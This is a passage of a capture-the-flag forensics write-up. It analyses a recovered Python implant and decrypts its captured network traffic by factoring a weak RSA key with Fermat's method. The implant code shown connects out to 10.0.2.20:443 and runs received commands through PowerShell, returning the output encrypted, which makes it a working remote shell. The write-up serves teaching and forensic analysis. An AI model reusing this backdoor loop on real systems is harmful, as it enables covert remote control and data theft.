<span id="cb9-42"></span>
<span id="cb9-43">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span>:</span>
<span id="cb9-44">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
<span id="cb9-45">            sock.<span class="ex" style="color: null;
background-color: null;
font-style: inherit;">connect</span>((<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'10.0.2.20'</span>, <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">443</span>))</span>
<span id="cb9-46">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">break</span></span>
<span id="cb9-47">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span>:</span>
<span id="cb9-48">            sleep(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">60</span>)</span>
<span id="cb9-49"></span>
<span id="cb9-50">    rsa_blob <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> encrypt_session_key(session_key)</span>
<span id="cb9-51">    sock.sendall(rsa_blob)</span>
<span id="cb9-52"></span>
<span id="cb9-53">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span> <span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">True</span>:</span>
<span id="cb9-54">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">try</span>:</span>
<span id="cb9-55">            message <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> sock.recv(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4096</span>)</span>
<span id="cb9-56">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">not</span> message:</span>
<span id="cb9-57">                <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">break</span></span>
<span id="cb9-58">            nonce <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> message[:<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span>]</span>
<span id="cb9-59">            tag <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> message[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span>:<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span>]</span>
<span id="cb9-60">            ciphertext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> message[<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span>:]</span>
<span id="cb9-61">            command <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> decrypt_AES_GCM(session_key, nonce, tag, ciphertext).split()</span>
<span id="cb9-62">            result <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> subprocess.check_output([<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'powershell.exe'</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> command, stderr<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>subprocess.STDOUT)</span>
<span id="cb9-63">            aes_blob <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> encrypt_AES_GCM(session_key, result)</span>
<span id="cb9-64">            sock.sendall(aes_blob)</span>
<span id="cb9-65">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span> subprocess.CalledProcessError <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">as</span> cpe:</span>
<span id="cb9-66">            aes_blob <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> encrypt_AES_GCM(session_key, cpe.output)</span>
<span id="cb9-67">            sock.sendall(aes_blob)</span>
<span id="cb9-68">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">except</span>:</span>
<span id="cb9-69">            aes_blob <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> encrypt_AES_GCM(session_key, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'Unexpected error!'</span>.encode())</span>
<span id="cb9-70">            sock.sendall(aes_blob)</span></code></pre></div>
<p>The <code>TODO</code> comment near the top of the script hints that the RSA key is not secure due to <code>p</code> and <code>q</code> being too close. This is a hint that the RSA key can be factored. We can factor the RSA key using the fermat factorization method.</p>
<p>Save the RSA key to a file called <code>rsa.pub</code> and run the following python script to factor the key.</p>
<div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb10-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.PublicKey <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> RSA</span>
<span id="cb10-2"></span>
<span id="cb10-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> isqrt(n):</span>
<span id="cb10-4">    x<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>n</span>
<span id="cb10-5">    y<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>(x<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span>n<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//</span>x)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span></span>
<span id="cb10-6">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span>(y<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;</span>x):</span>
<span id="cb10-7">        x<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>y</span>
<span id="cb10-8">        y<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>(x<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span>n<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//</span>x)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">//</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span></span>
<span id="cb10-9">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> x</span>
<span id="cb10-10"></span>
<span id="cb10-11"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> fermat(n):</span>
<span id="cb10-12">    t0<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>isqrt(n)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span></span>
<span id="cb10-13">    counter<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span></span>
<span id="cb10-14">    t<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>t0<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span>counter</span>
<span id="cb10-15">    temp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>isqrt((t<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>t)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>n)</span>
<span id="cb10-16">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">while</span>((temp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>temp)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span>((t<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>t)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>n)):</span>
<span id="cb10-17">        counter<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span></span>
<span id="cb10-18">        t<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>t0<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span>counter</span>
<span id="cb10-19">        temp<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>isqrt((t<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>t)<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>n)</span>
<span id="cb10-20">    s<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>temp</span>
<span id="cb10-21">    p<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>t<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span>s</span>
<span id="cb10-22">    q<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>t<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">-</span>s</span>
<span id="cb10-23">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> p,q</span>
<span id="cb10-24"></span>
<span id="cb10-25">public_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> RSA.importKey(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">open</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'rsa.pub'</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span>).read())</span>
<span id="cb10-26">n <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> public_key.n</span>
<span id="cb10-27"></span>
<span id="cb10-28">p,q<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>fermat(n)</span>
<span id="cb10-29"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"n: "</span>,<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span>(n))</span>
<span id="cb10-30"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"p: "</span>,<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span>(p))</span>
<span id="cb10-31"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"q: "</span>,<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">int</span>(q))</span></code></pre></div>
<p>And just like that, we have factored the RSA key.</p>
<p>To get the private key, we can use this site: <a href="https://www.tausquared.net/pages/ctf/rsa.html">https://www.tausquared.net/pages/ctf/rsa.html</a>.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://olback.dev/posts/2024-03-24-undutmaning-raring/recover_rsa_private_key.png" class="img-fluid figure-img"></p>
<figcaption>Private key</figcaption>
</figure>
</div>
<p>Taking a look at the python script generated from the image, we can see that it generates a random session key and encrypts it using the RSA public key. It then sends the encrypted session key to the server. This looks like a simple hand-rolled TLS-like protocol.</p>
<p>We need to recover the session key to decrypt the messages sent to the server. We can do this by finding the first message sent to the server and decrypting it using our recovered private key.</p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://olback.dev/posts/2024-03-24-undutmaning-raring/wireshark3.png" class="img-fluid figure-img"></p>
<figcaption>First message</figcaption>
</figure>
</div>
<div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb11-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.PublicKey <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> RSA</span>
<span id="cb11-2"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.Cipher <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> AES, PKCS1_OAEP</span>
<span id="cb11-3"></span>
<span id="cb11-4"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># This function is borrowed from the powershell generated python script</span></span>
<span id="cb11-5"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> decrypt_AES_GCM(key, nonce, tag, ciphertext):</span>
<span id="cb11-6">    cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> AES.new(key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>key, nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>nonce, mode<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>AES.MODE_GCM)</span>
<span id="cb11-7">    plaintext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.decrypt_and_verify(ciphertext, tag)</span>
<span id="cb11-8">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> plaintext.decode(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'utf-8'</span>)</span>
<span id="cb11-9"></span>
<span id="cb11-10"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Recovered using the Fermat Attack</span></span>
<span id="cb11-11">n<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">27598221485850985023658493832540104972348282651850391556024707082442433704392091526440432610066544806760766219243763589412871467334659280802794432292042049808078573661364181574743081848884987981525718796760954965881590357121558128280308387718582434667726467217944876421232464961166646195664228757310744695960254907319660792485593886080983232630836154808206621091401242877137671113614403216537937927556157786873435640184689905889448998608457109480208872267102524472310557560234804132815334616648304101967544836585574245116457418548607468249992276152536388385831017780107866857266038993892578651367204742881096347124107</span></span>
<span id="cb11-12">p<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410142863</span></span>
<span id="cb11-13">q<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410021189</span></span>
<span id="cb11-14">e<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">65537</span></span>
<span id="cb11-15">d<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">243531353670022304826586928611960604468928652201117275266637497511563541440414796979718351634847602194693455859253541918977515089655476067470092854106189868677751817279833422439281741621623943829359272826083279443853943713411444563049593370119768315406131237482230358930402579365119328974649889624806880417303552017665980317787039289762950998864060347469243596545619770665989157964998019626815365642216255815752001167649578571674642148354373197164889413061440801281705138890484134445059600666937082894504329949409353265142320746039600334224669299334588189781371306147552707845790725971437632697664045860236309081069</span></span>
<span id="cb11-16"></span>
<span id="cb11-17">key_params <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (n, e, d, p, q)</span>
<span id="cb11-18">key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> RSA.construct(key_params)</span>
<span id="cb11-19">cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> PKCS1_OAEP.new(key)</span>
<span id="cb11-20"></span>
<span id="cb11-21"></span>
<span id="cb11-22"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># From the first message sent to the server</span></span>
<span id="cb11-23">aes_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.decrypt(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'8534befd647f996c7a76ec7fcc1efeb7e0d8820acaa4328cfd47f6093dc2e1727f76baed5a81f58e080a8dd4870c039b459b0e6ad4674f50dbffc70a34d5dc3d40d0ce55c97a5c82b93ceb4ee3e623d6ee834e837a2441296ce2b4366e583e08610c0fc7c1414e5b393bee36cc6e739fe0e93fde8d08a21cd2a7496cf2ab87821461062a4b5bfcaf8794735de643baa17d543d80cca68f8e75b9c21ad6b84a0b082b50fa3e4a6112a41996c0679b7b82eccff94377b546e84408b46cc1570bb3c7295f1a0b5ecea5db533b597ac03d118f55931c009509ebbc95663dc8d72a98cb5278579be4f22a0246c878a993dfe51d35cd936e760514d94b0649cecd8bd0'</span>))</span>
<span id="cb11-24"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"AES Key: "</span>, aes_key.<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">hex</span>())</span></code></pre></div>
<pre><code>...
AES Key:  fde6fbf9a4e855b87a54c15def202daf</code></pre>
<p>And there it is, the AES encryption key used to encrypt all further communication with the server. Now all we have to do is extract the messages from the pcap file and decrypt them using the AES key.</p>
<p>The complete script to extract and decrypt the messages is as follows:</p>
<div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb13-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.PublicKey <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> RSA</span>
<span id="cb13-2"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> Crypto.Cipher <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> AES, PKCS1_OAEP</span>
<span id="cb13-3"></span>
<span id="cb13-4"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> decrypt_AES_GCM(key, nonce, tag, ciphertext):</span>
<span id="cb13-5">    cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> AES.new(key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>key, nonce<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>nonce, mode<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span>AES.MODE_GCM)</span>
<span id="cb13-6">    plaintext <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.decrypt_and_verify(ciphertext, tag)</span>
<span id="cb13-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">return</span> plaintext.decode(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'utf-8'</span>)</span>
<span id="cb13-8"></span>
<span id="cb13-9"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Recovered using the Fermat Attack</span></span>
<span id="cb13-10">n<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">27598221485850985023658493832540104972348282651850391556024707082442433704392091526440432610066544806760766219243763589412871467334659280802794432292042049808078573661364181574743081848884987981525718796760954965881590357121558128280308387718582434667726467217944876421232464961166646195664228757310744695960254907319660792485593886080983232630836154808206621091401242877137671113614403216537937927556157786873435640184689905889448998608457109480208872267102524472310557560234804132815334616648304101967544836585574245116457418548607468249992276152536388385831017780107866857266038993892578651367204742881096347124107</span></span>
<span id="cb13-11">p<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410142863</span></span>
<span id="cb13-12">q<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">166127124473551834917117909894024324655494225136363807546891720882822943830398139293936192565906226577822150817806723792076738095009909234957970377861008966544290125303336724003974606809467723312821135416453947718166221341612267651048046788841415401374632068824759806998480282989672304964635759213266410021189</span></span>
<span id="cb13-13">e<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">65537</span></span>
<span id="cb13-14">d<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">243531353670022304826586928611960604468928652201117275266637497511563541440414796979718351634847602194693455859253541918977515089655476067470092854106189868677751817279833422439281741621623943829359272826083279443853943713411444563049593370119768315406131237482230358930402579365119328974649889624806880417303552017665980317787039289762950998864060347469243596545619770665989157964998019626815365642216255815752001167649578571674642148354373197164889413061440801281705138890484134445059600666937082894504329949409353265142320746039600334224669299334588189781371306147552707845790725971437632697664045860236309081069</span></span>
<span id="cb13-15"></span>
<span id="cb13-16">key_params <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> (n, e, d, p, q)</span>
<span id="cb13-17">key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> RSA.construct(key_params)</span>
<span id="cb13-18">cipher <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> PKCS1_OAEP.new(key)</span>
<span id="cb13-19"></span>
<span id="cb13-20">aes_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> cipher.decrypt(<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'8534befd647f996c7a76ec7fcc1efeb7e0d8820acaa4328cfd47f6093dc2e1727f76baed5a81f58e080a8dd4870c039b459b0e6ad4674f50dbffc70a34d5dc3d40d0ce55c97a5c82b93ceb4ee3e623d6ee834e837a2441296ce2b4366e583e08610c0fc7c1414e5b393bee36cc6e739fe0e93fde8d08a21cd2a7496cf2ab87821461062a4b5bfcaf8794735de643baa17d543d80cca68f8e75b9c21ad6b84a0b082b50fa3e4a6112a41996c0679b7b82eccff94377b546e84408b46cc1570bb3c7295f1a0b5ecea5db533b597ac03d118f55931c009509ebbc95663dc8d72a98cb5278579be4f22a0246c878a993dfe51d35cd936e760514d94b0649cecd8bd0'</span>))</span>
<span id="cb13-21"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">print</span>(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"AES Key: "</span>, aes_key.<span class="bu" style="color: null;
background-color: null;
font-style: inherit;">hex</span>())</span>
<span id="cb13-22"></span>
<span id="cb13-23"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Manually copied from the pcap file</span></span>
<span id="cb13-24">aes_msgs <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> [</span>
<span id="cb13-25">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'10c8f2c38550504d057cf39b037d857c2b24dc4508594688f4e885155b2179802360a16290026c09'</span>),</span>
<span id="cb13-26">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'164ef9c0337a9f7ce7769d8fc6f1820583558a02a40b03f293a5b08380737a878901d5b79353b2ef87b1'</span>),</span>
<span id="cb13-27">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'1fdd9c2b8f1e4aa6c3fc57d6ec85cd34df11a034d5066fe89468dbe0546fd88b75b087e692a8b079d053efd6'</span>),</span>
<span id="cb13-28">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ce5ddfc5b5044247fde1c9b27346640e342d1cde69b7886e3f4ee63488063ef0cda42961153703eff84e3b848dafd87191a83f3c471d4469811673787d136ac4dea5d5cfa2966083450bd2ae'</span>),</span>
<span id="cb13-29">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'14a9b789d8c1c53043238202bdc415773aa823a003c1ab924e4f9b20e0b8476beb66e6da4a820f0c6ec188134f9055af'</span>),</span>
<span id="cb13-30">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'080027530cba080027e169d108004500061ffe6a4000800600000a00020c0a000214cc0b01bb0824e24e1730d74e50182002182600005974be3307d32ad2d73bfb1561ffb57735a3c31a0e99302ada77272374c7f3c0fbdb66fe04a23dd968be4db2ce892b7c94f95eb0748df70ba822b1a377db7be454e43a55a2913f16ce06581f45ac26c9e2fb5b82a068268a1f3761c1812e5d0c88ff60049beae21681a8b13d8f5c2085e466e4e09edf2d1592b61de5c862f227a207f8aad7c10245aa3ef22b39d7f29effc0187562b445fe41de9536de66bc382fb45f06785c9125ea609b23207629c9104706fb19fd545f8c47bcb781f1181e5f34f9c61d51fe06d0de5fc1824e3ba60ea647a5a904b45650b2ae059ee99e04c1aa96d5b86da8121c5edef864fd76f3e2028b4e449c7b33a28da893d7a271590fb2b0d8c83183caa104c2830211a722991a3a59665ea7ed77c2772f1d10b6c0ade8c7cdbf32eb16ce99fe7cb93ae49324c80f645ff45d81853db719346e64a0adcd4cfe89f71884eb10ed38000abbbfc5d851cbeeec1ed4d16e350eda1f8cfd73065b743b83718b026c5eb007309d6e2b7a8bdcea9242a029c293d0cf82a64da000d47dd95e51f7c7a6265f2461e153a01125fe9b3f58377bb9673267ffa848439cf6a52bfecdf0602db45b5916491cb497fe8a94f47c1516f1c545e46ccc881b578ae73298fa874aa81f4e00de68798f469bb263bcad8976cb8b8f9c630aa4229d63cd14d3b21e372b8985adb3e67c62b510b9d37ff2a6227d712f92258182180a01fc3a2060fe0fac211b3da77765d44fc633937a9b86d912d4704a95091b4c1aaa157c1df8ebb5d3956cebb9af6424acd84954b32c4a1e47af2b98c164da0249438ab5de4f85d6ed42e1c00224dbe9c575398e70422d10aea0e68837312367ccecad14827b9ec582bac78febf2c5d6a40f90482d8eae3c5afffc46ffc559c59350db0cbfeef9c9ad6374c8ccda1071e00a38fcdc106c83b3f0aa9f18df0d68e1f5cfe1c79bb93d2c5c2ee1ada6dffcfc685ff0ec141377eb0e2dd7d7418e38613a292239305a91e86a67972e852c1bfa549b4cd3b681bde186c5cbf2db8c6b993c38e73632c8e629404e7cfd6165baf8228854500ac35723db5a116214ddba1963e04b5b66bb28e8dd22a9cf2d68a909f5cb01ee749288f5ff1688550176b1f841f5f4367645fd8ecb00ea9f7a7fd55b13ebf1292e9dccf535584d59a11be1981881d6edcafebc676b5577245b1043139a6a1d33177ac98ba9c3efa5c03ff82afa34c8a87024ea5fc4c1ec9e682eb99f4c6e14c3764382674342ec52ac7af297bff8562e5ed1627604f82c30bd35cad8eced52e7df7f00965ee1f40178f6ed2ed94ae3211479ce94f2e1c84ca42ad9650e44327b9bc81e4e4f21ec863577ef6f80f156264784ed06f79beae7821bee7e22cf4e4346fcc957fc30da98e6d132a21646483ab18bd4cf7ef547d354700743fd0f0433c4dc3f14d21ba4bab9895402402925e4cc4fc0e481e6500e8bafd2d3abb7df6c80ddc6061118181d3beccf73f1470a31e4f8a80728f1c39e245c172b669837ca60ae41d29bc1c259caf3c898656634fbb5f9c8fe78caf60047ce9fca79b72d847561297f459995fee4f11d231400984ae56e203ebb6aa1519caacc9bd459e6859fcb68124883f9df4b99ce9587c11c0d114dc31d7d709ae69a939f968d1c467953d76832e286bc96f39e80421a1a155e5d2ee484a1d41f8209836a2cf4aea91f4c89b2bb240043dad861279910eb52af238039918aef58ba2a7d50d6d23aace3409dca8b60052291ca7697a0327fd55d36fecd70e533ac1c2e9ea7b9a9a6abc35f0208dc8dd73ddab9c58e923db88e253053cf10ef6d69d13a646d9c468baf2edb3142b3ab0f72146c4110302a0037c6ba32a3fdc205d22d51b365cf751a1e001dffdd520f7b3c1f2cd848a9b6a20e2a2a9d813b44102f87f9477c6ec5b6aae9a1519cbaa20970e71e2734dd8957b912788a108188f18a6b757ebde8cce39e3eef56c7038fa098a0b970d1b69d7fea7b8b340050dc52eab32144c8f87913ab5c68405b0027e752a0c6be923c2873c279595e2c4e9664a503fcf3a349d77fe677e13a8cc910bbe6accb35852afaffd740a867a50138a69d849515b1690a45f6d0a6de1f95b0b6d4bdb3d187f3b56c40753a2ef3bb49e07104a7b9ac7b438a5b9d2d'</span>),</span>
<span id="cb13-31">    <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">bytearray</span>.fromhex(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'d92d55470e61b0b00a3537a26ffaedf1a1635db26dc7d87e743adb6fb62d65b50ebc1d792529a921ae3d300c6b87fd'</span>),</span>
